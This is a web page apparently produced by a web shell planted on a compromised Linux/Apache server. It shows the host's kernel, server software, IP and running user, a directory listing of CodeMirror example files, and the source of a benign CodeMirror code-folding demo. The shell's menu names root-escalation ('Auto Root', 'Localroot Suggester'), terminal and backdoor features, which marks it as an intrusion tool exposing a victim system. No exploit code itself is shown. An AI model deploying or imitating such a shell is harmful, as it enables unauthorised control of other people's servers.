Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.1.1 & Your IP : 18.191.135.50
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
libjs-codemirror /
examples /
Delete
Unzip
Name
Size
Permission
Date
Action
activeline.html
3.26
KB
-rw-r--r--
2022-01-28 11:40
anywordhint.html
2.87
KB
-rw-r--r--
2022-01-28 11:40
bidi.html
4.88
KB
-rw-r--r--
2022-01-28 11:40
btree.html
2.94
KB
-rw-r--r--
2022-01-28 11:40
buffers.html
3.59
KB
-rw-r--r--
2022-01-28 11:40
changemode.html
1.78
KB
-rw-r--r--
2022-01-28 11:40
closebrackets.html
1.72
KB
-rw-r--r--
2022-01-28 11:40
closetag.html
1.58
KB
-rw-r--r--
2022-01-28 11:40
complete.html
4.4
KB
-rw-r--r--
2022-01-28 11:40
emacs.html
2.76
KB
-rw-r--r--
2022-01-28 11:40
folding.html
6.12
KB
-rw-r--r--
2022-01-28 11:40
fullscreen.html
3.53
KB
-rw-r--r--
2022-01-28 11:40
hardwrap.html
2.62
KB
-rw-r--r--
2022-01-28 11:40
html5complete.html
1.99
KB
-rw-r--r--
2022-01-28 11:40
indentwrap.html
2.62
KB
-rw-r--r--
2022-01-28 11:40
loadmode.html
2.31
KB
-rw-r--r--
2022-01-28 11:40
marker.html
1.53
KB
-rw-r--r--
2022-01-28 11:40
markselection.html
1.94
KB
-rw-r--r--
2022-01-28 11:40
matchhighlighter.html
4.89
KB
-rw-r--r--
2022-01-28 11:40
matchtags.html
1.48
KB
-rw-r--r--
2022-01-28 11:40
multiplex.html
2.25
KB
-rw-r--r--
2022-01-28 11:40
mustache.html
2.18
KB
-rw-r--r--
2022-01-28 11:40
panel.html
3.57
KB
-rw-r--r--
2022-01-28 11:40
placeholder.html
1.55
KB
-rw-r--r--
2022-01-28 11:40
preview.html
2.54
KB
-rw-r--r--
2022-01-28 11:40
requirejs.html
2.27
KB
-rw-r--r--
2022-01-28 11:40
resize.html
1.4
KB
-rw-r--r--
2022-01-28 11:40
rulers.html
1.45
KB
-rw-r--r--
2022-01-28 11:40
runmode-standalone.html
2.3
KB
-rw-r--r--
2022-01-28 11:40
runmode.html
2.36
KB
-rw-r--r--
2022-01-28 11:40
search.html
4.89
KB
-rw-r--r--
2022-01-28 11:40
simplemode.html
8.14
KB
-rw-r--r--
2022-01-28 11:40
simplescrollbars.html
5.1
KB
-rw-r--r--
2022-01-28 11:40
spanaffectswrapping_shim.html
3
KB
-rw-r--r--
2022-01-28 11:40
sublime.html
3.23
KB
-rw-r--r--
2022-01-28 11:40
theme.html
7.5
KB
-rw-r--r--
2022-01-28 11:40
trailingspace.html
1.61
KB
-rw-r--r--
2022-01-28 11:40
variableheight.html
2.12
KB
-rw-r--r--
2022-01-28 11:40
vim.html
4.32
KB
-rw-r--r--
2022-01-28 11:40
visibletabs.html
1.89
KB
-rw-r--r--
2022-01-28 11:40
xmlcomplete.html
3.78
KB
-rw-r--r--
2022-01-28 11:40
Save
Rename
<!doctype html> <head> <title>CodeMirror: Code Folding Demo</title> <meta charset="utf-8"/> <link rel=stylesheet href="../html/docs.css"> <style> .some-css { color: red; line-height: 2; } </style> <link rel="stylesheet" href="/usr/share/javascript/codemirror/lib/codemirror.css"> <link rel="stylesheet" href="/usr/share/javascript/codemirror/addon/fold/foldgutter.css" /> <script src="/usr/share/javascript/codemirror/lib/codemirror.js"></script> <script src="/usr/share/javascript/codemirror/addon/fold/foldcode.js"></script> <script src="/usr/share/javascript/codemirror/addon/fold/foldgutter.js"></script> <script src="/usr/share/javascript/codemirror/addon/fold/brace-fold.js"></script> <script src="/usr/share/javascript/codemirror/addon/fold/xml-fold.js"></script> <script src="/usr/share/javascript/codemirror/addon/fold/indent-fold.js"></script> <script src="/usr/share/javascript/codemirror/addon/fold/markdown-fold.js"></script> <script src="/usr/share/javascript/codemirror/addon/fold/comment-fold.js"></script> <script src="/usr/share/javascript/codemirror/mode/javascript/javascript.js"></script> <script src="/usr/share/javascript/codemirror/mode/xml/xml.js"></script> <script src="/usr/share/javascript/codemirror/mode/css/css.js"></script> <script src="/usr/share/javascript/codemirror/mode/htmlmixed/htmlmixed.js"></script> <script src="/usr/share/javascript/codemirror/mode/python/python.js"></script> <script src="/usr/share/javascript/codemirror/mode/markdown/markdown.js"></script> <style> .CodeMirror {border-top: 1px solid black; border-bottom: 1px solid black;} </style> </head> <body> <div id=nav> <a href="https://codemirror.net"><h1>CodeMirror</h1><img id=logo src="../html/logo.png"></a> <ul> <li><a href="../index.html">Home</a> <li><a href="../html/manual.html">Manual</a> <li><a href="https://github.com/codemirror/codemirror">Code</a> </ul> <ul> <li><a class=active href="#">Code Folding</a> </ul> </div> <article> <h2>Code Folding Demo</h2> <form> <div style="max-width: 50em; margin-bottom: 1em">JavaScript:<br> <textarea id="code" name="code"></textarea></div> <div style="max-width: 50em; margin-bottom: 1em">HTML:<br> <textarea id="code-html" name="code-html"></textarea></div> <div style="max-width: 50em; margin-bottom: 1em">JSON with custom widget:<br> <textarea id="code-json" name="code-json"> { "menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } } } </textarea></div> <div style="max-width: 50em">Python:<br> <textarea id="code-python" name="code"> def foo(): do_some_stuff() here return None class Bar: __init__(self): if True: print("True") else: print("False") this_code_makes_no_sense(): pass # A comment</textarea></div> <div style="max-width: 50em">Markdown:<br> <textarea id="code-markdown" name="code"></textarea></div> </form> <script id="script"> /* * Demonstration of code folding */ window.onload = function() { var te = document.getElementById("code"); var sc = document.getElementById("script"); te.value = (sc.textContent || sc.innerText || sc.innerHTML).replace(/^\s*/, ""); sc.innerHTML = ""; var te_html = document.getElementById("code-html"); te_html.value = document.documentElement.innerHTML; var te_python = document.getElementById("code-python"); var te_markdown = document.getElementById("code-markdown"); te_markdown.value = "# Foo\n## Bar\n\nblah blah\n\n## Baz\n\nblah blah\n\n# Quux\n\nblah blah\n" var te_json = document.getElementById("code-json"); window.editor = CodeMirror.fromTextArea(te, { mode: "javascript", lineNumbers: true, lineWrapping: true, extraKeys: {"Ctrl-Q": function(cm){ cm.foldCode(cm.getCursor()); }}, foldGutter: true, gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"] }); editor.foldCode(CodeMirror.Pos(13, 0)); window.editor_json = CodeMirror.fromTextArea(te_json, { mode: {name: "javascript", json: true}, lineNumbers: true, lineWrapping: true, extraKeys: {"Ctrl-Q": function(cm){ cm.foldCode(cm.getCursor()); }}, foldGutter: true, gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"], foldOptions: { widget: (from, to) => { var count = undefined; // Get open / close token var startToken = '{', endToken = '}'; var prevLine = window.editor_json.getLine(from.line); if (prevLine.lastIndexOf('[') > prevLine.lastIndexOf('{')) { startToken = '[', endToken = ']'; } // Get json content var internal = window.editor_json.getRange(from, to); var toParse = startToken + internal + endToken; // Get key count try { var parsed = JSON.parse(toParse); count = Object.keys(parsed).length; } catch(e) { } return count ? `\u21A4${count}\u21A6` : '\u2194'; } } }); editor_json.foldCode(CodeMirror.Pos(5, 0)); window.editor_html = CodeMirror.fromTextArea(te_html, { mode: "text/html", lineNumbers: true, lineWrapping: true, extraKeys: {"Ctrl-Q": function(cm){ cm.foldCode(cm.getCursor()); }}, foldGutter: true, gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"] }); editor_html.foldCode(CodeMirror.Pos(0, 0)); editor_html.foldCode(CodeMirror.Pos(34, 0)); window.editor_python = CodeMirror.fromTextArea(te_python, { mode: "python", lineNumbers: true, extraKeys: {"Ctrl-Q": function(cm){ cm.foldCode(cm.getCursor()); }}, foldGutter: true, gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"] }); window.editor_markdown = CodeMirror.fromTextArea(te_markdown, { mode: "markdown", lineNumbers: true, lineWrapping: true, extraKeys: {"Ctrl-Q": function(cm){ cm.foldCode(cm.getCursor()); }}, foldGutter: true, gutters: ["CodeMirror-linenumbers", "CodeMirror-foldgutter"] }); }; </script> </article> </body>